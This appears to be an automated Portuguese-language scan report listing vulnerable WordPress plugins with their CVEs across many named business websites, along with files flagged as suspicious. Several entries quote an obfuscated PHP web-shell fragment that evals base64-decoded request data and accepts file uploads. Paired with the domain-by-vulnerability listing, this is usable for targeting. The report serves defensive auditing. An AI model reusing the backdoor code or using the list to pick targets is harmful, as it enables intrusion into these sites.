Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em vitaecontabil.com.br

Plugin vulnerável: cleantalk-spam-protect 6.82 (CVE-2026-65437) em vitaecontabil.com.br

Plugin vulnerável: elementskit-lite 3.9.9 (CVE-2026-13393, CVE-2026-13392) em vitaecontabil.com.br

Plugin vulnerável: gp-premium 2.1.2 (CVE-2024-3469, CVE-2026-66627) em vitaecontabil.com.br

Plugin vulnerável: jet-blocks 1.3.4 (CVE-2025-53988, CVE-2023-48762, CVE-2024-7147, CVE-2023-48756, CVE-2025-30987, CVE-2025-53989, CVE-2023-48760, CVE-2026-61976, CVE-2023-48761, CVE-2025-39451, CVE-2025-49934) em vitaecontabil.com.br

Plugin vulnerável: jet-elements 2.6.7 (CVE-2023-48762, CVE-2026-24958, CVE-2026-65465, CVE-2025-53983, CVE-2023-39157, CVE-2024-7145, CVE-2025-39448, CVE-2023-48760, CVE-2023-48761, CVE-2025-64355, CVE-2025-53982, CVE-2024-7144, CVE-2025-39447, CVE-2023-48759, CVE-2025-55714, CVE-2025-0371, CVE-2025-49939) em vitaecontabil.com.br

Plugin vulnerável: popup-maker 1.22.0 (CVE-2026-28177, CVE-2026-8848) em vitaecontabil.com.br

Plugin vulnerável: js_composer 6.7.0 (CVE-2025-4968, CVE-2024-5708, CVE-2025-11161, CVE-2024-1841, CVE-2024-5265, CVE-2025-11160, CVE-2025-10006, CVE-2024-1842, CVE-2023-31213, CVE-2024-1805, CVE-2024-5709, CVE-2025-4965, CVE-2026-45436, CVE-2024-1840, CVE-2025-7502) em vitaecontabil.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.129 (CVE-2026-17555, CVE-2026-19725) em vitaecontabil.com.br

Plugin vulnerável: gp-premium 2.5.4 (CVE-2026-66627) em biomixbr.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em biomixbr.com.br

Plugin vulnerável: code-snippets 3.9.3 (CVE-2026-1785) em biomixbr.com.br

Plugin vulnerável: elementor-pro 4.2.1 (CVE-2026-32475) em biomixbr.com.br

Plugin vulnerável: mainwp-child 5.4.1 (CVE-2026-27366) em biomixbr.com.br

Plugin vulnerável: wp-rocket 3.18.2 (CVE-2026-28044) em biomixbr.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.121 (CVE-2025-12656, CVE-2026-17555, CVE-2026-1357) em biomixbr.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em contabilmatch.com.br

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/softlite-io-integration/inc/twig-vendor/twig/twig/src/Environment.php — evidência: */ eval('?>'.$content); } if (!class_exists($cls, false)) { throw new

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/softlite-io-integration/inc/elementor/widgets/dynamic-list.php — evidência: ${$key} = $setting; } try { eval("?> $render <?php ");; } catch (ParseError $e) { echo 'Dynamic Widget Debug: ' . $e->getMessage(); } r

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/softlite-io-integration/inc/elementor/widgets/dynamic-menu.php — evidência: ${$key} = $setting; } try { eval("?> $render <?php ");; } catch (ParseError $e) { echo 'Dynamic Widget Debug: ' . $e->getMessage(); } r

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/softlite-io-integration/inc/elementor/widgets/dynamic-button.php — evidência: ${$key} = $setting; } try { eval("?> $render <?php ");; } catch (ParseError $e) { echo 'Dynamic Widget Debug: ' . $e->getMessage(); } r

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/softlite-io-integration/inc/elementor/widgets/dynamic-card-box.php — evidência: ${$key} = $setting; } try { eval("?> $render <?php ");; } catch (ParseError $e) { echo 'Dynamic Widget Debug: ' . $e->getMessage(); } r

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em mkt-carloswizard.com.br

Plugin vulnerável: essential-addons-for-elementor-lite 6.7.0 (CVE-2026-18039) em mkt-carloswizard.com.br

Plugin vulnerável: gp-premium 2.2.2 (CVE-2024-3469, CVE-2026-66627) em mkt-carloswizard.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em mkt-carloswizard.com.br

Plugin vulnerável: templately 3.6.8 (CVE-2026-66667, CVE-2026-18438, CVE-2026-15359) em mkt-carloswizard.com.br

Plugin vulnerável: wp-fastest-cache 1.4.9 (CVE-2026-19760) em mkt-carloswizard.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em rejcontabil.com

Plugin vulnerável: essential-addons-for-elementor-lite 6.7.0 (CVE-2026-18039) em rejcontabil.com

Plugin vulnerável: jet-elements 2.6.6 (CVE-2023-48762, CVE-2026-24958, CVE-2026-65465, CVE-2025-53983, CVE-2023-39157, CVE-2024-7145, CVE-2025-39448, CVE-2023-48760, CVE-2023-48761, CVE-2025-64355, CVE-2025-53982, CVE-2024-7144, CVE-2025-39447, CVE-2023-48759, CVE-2025-55714, CVE-2025-0371, CVE-2025-49939) em rejcontabil.com

Plugin vulnerável: jet-tabs 2.1.19 (CVE-2025-39450, CVE-2023-48762, CVE-2025-68498, CVE-2023-48760, CVE-2023-48761, CVE-2025-53985, CVE-2025-68499, CVE-2024-7146, CVE-2025-53984, CVE-2025-54687) em rejcontabil.com

Plugin vulnerável: jet-tricks 1.4.2 (CVE-2025-53992, CVE-2023-48762, CVE-2025-26942, CVE-2023-48760, CVE-2023-48761, CVE-2025-53991) em rejcontabil.com

Plugin vulnerável: templately 3.6.8 (CVE-2026-66667, CVE-2026-18438, CVE-2026-15359) em rejcontabil.com

Plugin vulnerável: jet-engine 3.8.10 (CVE-2026-56068, CVE-2026-54189, CVE-2026-54187, CVE-2026-52706, CVE-2026-54188, CVE-2026-65467, CVE-2026-12360) em telum.com.br

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/hivetime-manager/hivetime-manager.php — evidência: wp_strip_all_tags($css); $css = preg_replace('/expression\\s*\\(/i', '', $css); $css = preg_replace('/javascript\\s*:/i', '', $css); $cs

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/wp-rocket/inc/Dependencies/Minify/JS.php — evidência: lie/minify/issues/91 */ $content = preg_replace('/else;/s', '', $content); /* * We also don't really want to terminate statements followed by closing

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/jet-engine/includes/classes/sanitizer.php — evidência: e potentially dangerous values $css = preg_replace( '/expression\s*\(.*?\)/i', '', $css ); $css = preg_replace( '/url\s*\(\s*[\'"]?\s*javascript:.*?[\'"]?\s

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/gp-premium/hooks/functions/hooks.php — evidência: 'GENERATE_HOOKS_DISALLOW_PHP' ) ) { eval( "?>$value<?php " ); } else { echo $value; } } } if ( ! function_exists( 'generate_hooks_wp_head' ) ) { a

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/gp-premium/elements/class-hooks.php — evidência: uld_execute_php() ) { ob_start(); eval( '?>' . $content . '<?php ' ); // phpcs:ignore -- Using eval() to execute PHP. echo ob_get_clean(); // phpcs:ign

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em tpconta.com.br

Plugin vulnerável: elementskit-lite 3.9.9 (CVE-2026-13393, CVE-2026-13392) em tpconta.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em tpconta.com.br

Plugin vulnerável: security-malware-firewall 2.182.1 (CVE-2026-66593) em tpconta.com.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em tpconta.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.129 (CVE-2026-17555, CVE-2026-19725) em tpconta.com.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em assessoriatotal.com.br

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/image/index.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/image/plugins.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/accesson.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\

Arquivo PHP desconhecido na raiz (revisar): /accesson.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em biankantigo.com.br

Plugin vulnerável: duracelltomi-google-tag-manager 1.22.3 (CVE-2026-16597) em biankantigo.com.br

Plugin vulnerável: official-facebook-pixel 5.2.1 (CVE-2026-66705) em biankantigo.com.br

Plugin vulnerável: seo-by-rank-math 1.0.274.1 (CVE-2026-66702) em biankantigo.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em biankantigo.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em cavenaghicontabil.com.br

Plugin vulnerável: elementskit-lite 3.8.2 (CVE-2026-13393, CVE-2026-49052, CVE-2026-4362, CVE-2026-13392, CVE-2026-49053) em cavenaghicontabil.com.br

Plugin vulnerável: gp-premium 2.5.1 (CVE-2026-66627) em cavenaghicontabil.com.br

Plugin vulnerável: wpmudev-updates 4.11.30 (CVE-2026-15459) em cavenaghicontabil.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.125 (CVE-2025-12656, CVE-2026-17555, CVE-2026-19725) em cavenaghicontabil.com.br

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/softlite-io-integration/inc/twig-vendor/twig/twig/src/Environment.php — evidência: */ eval('?>'.$content); } if (!class_exists($cls, false)) { throw new

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/softlite-io-integration/inc/elementor/widgets/dynamic-list.php — evidência: ${$key} = $setting; } try { eval("?> $render <?php ");; } catch (ParseError $e) { echo 'Dynamic Widget Debug: ' . $e->getMessage(); } r

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/softlite-io-integration/inc/elementor/widgets/dynamic-menu.php — evidência: ${$key} = $setting; } try { eval("?> $render <?php ");; } catch (ParseError $e) { echo 'Dynamic Widget Debug: ' . $e->getMessage(); } r

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/softlite-io-integration/inc/elementor/widgets/dynamic-button.php — evidência: ${$key} = $setting; } try { eval("?> $render <?php ");; } catch (ParseError $e) { echo 'Dynamic Widget Debug: ' . $e->getMessage(); } r

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em contabmatch.com.br

Plugin vulnerável: hub-core 5.0.3 (CVE-2025-68065) em jerben.co.ao

Plugin vulnerável: wp-fastest-cache 1.4.9 (CVE-2026-19760) em jerben.co.ao

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em jerben.co.ao

Plugin vulnerável: elementor-pro 3.20.2 (CVE-2026-32475, CVE-2025-3076, CVE-2024-4107, CVE-2024-35656, CVE-2024-50555, CVE-2024-8494) em jerben.co.ao

Plugin vulnerável: hub-core 5.0.3 (CVE-2025-68065) em jerben.co.ao

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em leonicont.com.br

Plugin vulnerável: elementskit-lite 3.9.3 (CVE-2026-13393, CVE-2026-49052, CVE-2026-13392, CVE-2026-49053) em leonicont.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em leonicont.com.br

Plugin vulnerável: wpmudev-updates 4.11.30 (CVE-2026-15459) em leonicont.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.126 (CVE-2025-12656, CVE-2026-17555, CVE-2026-19725) em leonicont.com.br

Plugin vulnerável: all-in-one-wp-migration 7.86 (CVE-2024-10942, CVE-2025-8490, CVE-2026-12898, CVE-2024-8852, CVE-2024-9162) em mamrj.com.br

Plugin vulnerável: bdthemes-element-pack 7.11.5 (CVE-2024-33568, CVE-2025-46257, CVE-2025-46258) em mamrj.com.br

Plugin vulnerável: jet-elements 2.7.0 (CVE-2026-24958, CVE-2026-65465, CVE-2025-53983, CVE-2025-39448, CVE-2025-64355, CVE-2025-53982, CVE-2025-39447, CVE-2025-55714, CVE-2025-0371, CVE-2025-49939) em mamrj.com.br

Plugin vulnerável: post-duplicator 2.36 (CVE-2024-12472, CVE-2026-4244, CVE-2026-10749, CVE-2026-39474, CVE-2026-4245, CVE-2026-2301) em mamrj.com.br

Plugin vulnerável: unlimited-elements-for-elementor-premium 1.5.103 (CVE-2025-13692) em mamrj.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em ocphenix.com.br

Plugin vulnerável: cleantalk-spam-protect 6.79 (CVE-2026-65437) em ocphenix.com.br

Plugin vulnerável: elementskit-lite 3.9.6 (CVE-2026-13393, CVE-2026-49052, CVE-2026-13392, CVE-2026-49053) em ocphenix.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em ocphenix.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.127 (CVE-2025-12656, CVE-2026-17555, CVE-2026-19725) em ocphenix.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em avantcontabilidadeteste.com.br

Plugin vulnerável: elementskit-lite 3.9.2 (CVE-2026-13393, CVE-2026-49052, CVE-2026-13392, CVE-2026-49053) em avantcontabilidadeteste.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em avantcontabilidadeteste.com.br

Plugin vulnerável: post-smtp 3.8.0 (CVE-2026-2559, CVE-2026-3090) em avantcontabilidadeteste.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em contabilidadedc.com

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em contabilidadedc.com

Plugin vulnerável: wpmudev-updates 4.11.30 (CVE-2026-15459) em contabilidadedc.com

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em contabilidadedc.com

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em contabiliss.com.br

Plugin vulnerável: elementskit-lite 3.9.10 (CVE-2026-13393, CVE-2026-13392) em contabiliss.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em contabiliss.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.129 (CVE-2026-17555, CVE-2026-19725) em contabiliss.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em contadornotopo.grupodpg.com.br

Plugin vulnerável: gp-premium 2.3.1 (CVE-2024-3469, CVE-2026-66627) em contadornotopo.grupodpg.com.br

Plugin vulnerável: jet-elements 2.6.10 (CVE-2023-48762, CVE-2026-24958, CVE-2026-65465, CVE-2025-53983, CVE-2023-39157, CVE-2024-7145, CVE-2025-39448, CVE-2023-48760, CVE-2023-48761, CVE-2025-64355, CVE-2025-53982, CVE-2024-7144, CVE-2025-39447, CVE-2023-48759, CVE-2025-55714, CVE-2025-0371, CVE-2025-49939) em contadornotopo.grupodpg.com.br

Plugin vulnerável: litespeed-cache 7.8.1 (CVE-2026-18978) em contadornotopo.grupodpg.com.br

Plugin vulnerável: elementskit-lite 3.9.10 (CVE-2026-13393, CVE-2026-13392) em ctcontabilidade.com

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em ctcontabilidade.com

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em ctcontabilidade.com

Plugin vulnerável: wpvivid-backuprestore 0.9.129 (CVE-2026-17555, CVE-2026-19725) em ctcontabilidade.com

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em devconstarcontabilidade.com.br

Plugin vulnerável: elementskit-lite 3.9.10 (CVE-2026-13393, CVE-2026-13392) em devconstarcontabilidade.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em devconstarcontabilidade.com.br

Plugin vulnerável: rometheme-for-elementor 1.6.8 (CVE-2026-12906, CVE-2026-5149, CVE-2026-5137, CVE-2026-3425, CVE-2026-12907, CVE-2026-8351, CVE-2026-3426, CVE-2025-12473) em devconstarcontabilidade.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em devfogliatto.cnt.br

Plugin vulnerável: elementskit-lite 3.7.9 (CVE-2026-13393, CVE-2026-2600, CVE-2026-49052, CVE-2026-4362, CVE-2026-13392, CVE-2026-49053) em devfogliatto.cnt.br

Plugin vulnerável: gp-premium 2.3.2 (CVE-2024-3469, CVE-2026-66627) em devfogliatto.cnt.br

Plugin vulnerável: litespeed-cache 7.7 (CVE-2026-18978, CVE-2026-3375, CVE-2026-3129) em devfogliatto.cnt.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em fogliatto.cnt.br

Plugin vulnerável: jet-blog 2.3.1 (CVE-2023-48762, CVE-2025-26958, CVE-2025-49932, CVE-2025-68503, CVE-2023-48760, CVE-2023-48761, CVE-2025-49933, CVE-2026-52696, CVE-2025-26744) em fogliatto.cnt.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em fogliatto.cnt.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em fogliatto.cnt.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em i9contabilit.com

Plugin vulnerável: jet-blog 2.3.1 (CVE-2023-48762, CVE-2025-26958, CVE-2025-49932, CVE-2025-68503, CVE-2023-48760, CVE-2023-48761, CVE-2025-49933, CVE-2026-52696, CVE-2025-26744) em i9contabilit.com

Plugin vulnerável: popup-maker 1.22.0 (CVE-2026-28177, CVE-2026-8848) em i9contabilit.com

Plugin vulnerável: wpvivid-backuprestore 0.9.126 (CVE-2025-12656, CVE-2026-17555, CVE-2026-19725) em i9contabilit.com

Plugin vulnerável: revslider 6.5.9 (CVE-2024-34444, CVE-2024-8107, CVE-2026-9050, CVE-2026-6728, CVE-2025-10249, CVE-2024-4637, CVE-2023-2359, CVE-2024-34443, CVE-2023-47772, CVE-2024-4092, CVE-2024-37449, CVE-2023-6528, CVE-2024-4581, CVE-2023-47784, CVE-2025-9217, CVE-2024-2306) em jrtenani.com.br

Plugin vulnerável: js_composer 6.7.0 (CVE-2025-4968, CVE-2024-5708, CVE-2025-11161, CVE-2024-1841, CVE-2024-5265, CVE-2025-11160, CVE-2025-10006, CVE-2024-1842, CVE-2023-31213, CVE-2024-1805, CVE-2024-5709, CVE-2025-4965, CVE-2026-45436, CVE-2024-1840, CVE-2025-7502) em jrtenani.com.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em jrtenani.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em jrtenani.com.br

Plugin vulnerável: bdthemes-element-pack 7.11.5 (CVE-2024-33568, CVE-2025-46257, CVE-2025-46258) em mamdobrasil.com.br

Plugin vulnerável: jet-elements 2.8.1.1 (CVE-2026-65465) em mamdobrasil.com.br

Plugin vulnerável: revslider 6.7.38 (CVE-2026-9050, CVE-2026-6728) em mamdobrasil.com.br

Plugin vulnerável: unlimited-elements-for-elementor-premium 1.5.103 (CVE-2025-13692) em mamdobrasil.com.br

Arquivo PHP desconhecido na raiz (revisar): /accesson.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/accesson.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/image/plugins.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/image/index.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em parceriadpg.grupodpg.com.br

Plugin vulnerável: gp-premium 2.2.2 (CVE-2024-3469, CVE-2026-66627) em parceriadpg.grupodpg.com.br

Plugin vulnerável: jet-elements 2.6.12.1 (CVE-2023-48762, CVE-2026-24958, CVE-2026-65465, CVE-2025-53983, CVE-2024-7145, CVE-2025-39448, CVE-2023-48760, CVE-2023-48761, CVE-2025-64355, CVE-2025-53982, CVE-2024-7144, CVE-2025-39447, CVE-2023-48759, CVE-2025-55714, CVE-2025-0371, CVE-2025-49939) em parceriadpg.grupodpg.com.br

Plugin vulnerável: litespeed-cache 7.8.1 (CVE-2026-18978) em parceriadpg.grupodpg.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em plataforma-3-02.com.br

Plugin vulnerável: elementskit-lite 3.7.9 (CVE-2026-13393, CVE-2026-2600, CVE-2026-49052, CVE-2026-4362, CVE-2026-13392, CVE-2026-49053) em plataforma-3-02.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em plataforma-3-02.com.br

Plugin vulnerável: rometheme-for-elementor 1.6.8 (CVE-2026-12906, CVE-2026-5149, CVE-2026-5137, CVE-2026-3425, CVE-2026-12907, CVE-2026-8351, CVE-2026-3426, CVE-2025-12473) em plataforma-3-02.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em precisaocp.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em precisaocp.com.br

Plugin vulnerável: litespeed-cache 7.8.1 (CVE-2026-18978) em precisaocp.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em precisaocp.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em registracontabilidade.com

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em registracontabilidade.com

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em registracontabilidade.com

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em registracontabilidade.com

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em vivrasst.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em vivrasst.com.br

Plugin vulnerável: rometheme-for-elementor 1.6.5 (CVE-2026-12906, CVE-2026-5149, CVE-2026-5137, CVE-2026-3425, CVE-2026-12907, CVE-2026-8351, CVE-2026-3426, CVE-2025-8609, CVE-2025-62065, CVE-2025-64283, CVE-2025-12473) em vivrasst.com.br

Plugin vulnerável: wp-reviews-plugin-for-google 13.1 (CVE-2026-11591, CVE-2025-12510, CVE-2025-9436) em vivrasst.com.br

Dependência vulnerável: lodash@4.17.11 (CVE-2021-23337)

Dependência vulnerável: lodash@4.17.11 (CVE-2020-8203)

Dependência vulnerável: lodash@4.17.11 (CVE-2026-4800)

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em apicecontabilidade.cnt.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em apicecontabilidade.cnt.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em apicecontabilidade.cnt.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em apontual.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em apontual.com.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em apontual.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em cannizzarocontabil.com.br

Arquivo suspeito (heurística de malware, revisar): /wp-content/upgrade-temp-backup/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Test/IntegrationTestCase.php — evidência: trict_variables' => \true], $match[2] ? eval($match[2] . ';') : []); $twig = new Environment($loader, $config); $twig->addGlobal('global

Arquivo suspeito (heurística de malware, revisar): /wp-content/upgrade-temp-backup/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Environment.php — evidência: */ eval('?>' . $content); } if (!\class_exists($cls, \false)) { throw n

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em celcontabil.com.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em celcontabil.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em celcontabil.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em contabilembraco.com.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em contabilembraco.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em contabilembraco.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em contabilidadecev.com.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em contabilidadecev.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em contabilidadecev.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em contabilidadedalagnese.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em contabilidadedalagnese.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em contabilidadedalagnese.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em contabilidadevilavelha.com.br

Plugin vulnerável: gp-premium 2.3.1 (CVE-2024-3469, CVE-2026-66627) em contabilidadevilavelha.com.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em contabilidadevilavelha.com.br

Plugin vulnerável: revslider 6.5.9 (CVE-2024-34444, CVE-2024-8107, CVE-2026-9050, CVE-2026-6728, CVE-2025-10249, CVE-2024-4637, CVE-2023-2359, CVE-2024-34443, CVE-2023-47772, CVE-2024-4092, CVE-2024-37449, CVE-2023-6528, CVE-2024-4581, CVE-2023-47784, CVE-2025-9217, CVE-2024-2306) em contabilpresidente.com.br

Plugin vulnerável: js_composer 6.7.0 (CVE-2025-4968, CVE-2024-5708, CVE-2025-11161, CVE-2024-1841, CVE-2024-5265, CVE-2025-11160, CVE-2025-10006, CVE-2024-1842, CVE-2023-31213, CVE-2024-1805, CVE-2024-5709, CVE-2025-4965, CVE-2026-45436, CVE-2024-1840, CVE-2025-7502) em contabilpresidente.com.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em contabilpresidente.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em devemmerich.com.br

Plugin vulnerável: gp-premium 2.4.0 (CVE-2024-3469, CVE-2026-66627) em devemmerich.com.br

Plugin vulnerável: litespeed-cache 7.8.1 (CVE-2026-18978) em devemmerich.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em devjobcont.com.br

Plugin vulnerável: gp-premium 2.5.1 (CVE-2026-66627) em devjobcont.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em devjobcont.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em devmcxcontabilmkt.com.br

Plugin vulnerável: gp-premium 2.4.1 (CVE-2026-66627) em devmcxcontabilmkt.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em devmcxcontabilmkt.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em devmeccah.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em devmeccah.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em devmeccah.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em devprimecont.srv.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em devprimecont.srv.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em devprimecont.srv.br

Plugin vulnerável: form-maker 1.15.46 (CVE-2026-66616) em devproesecont.com.br

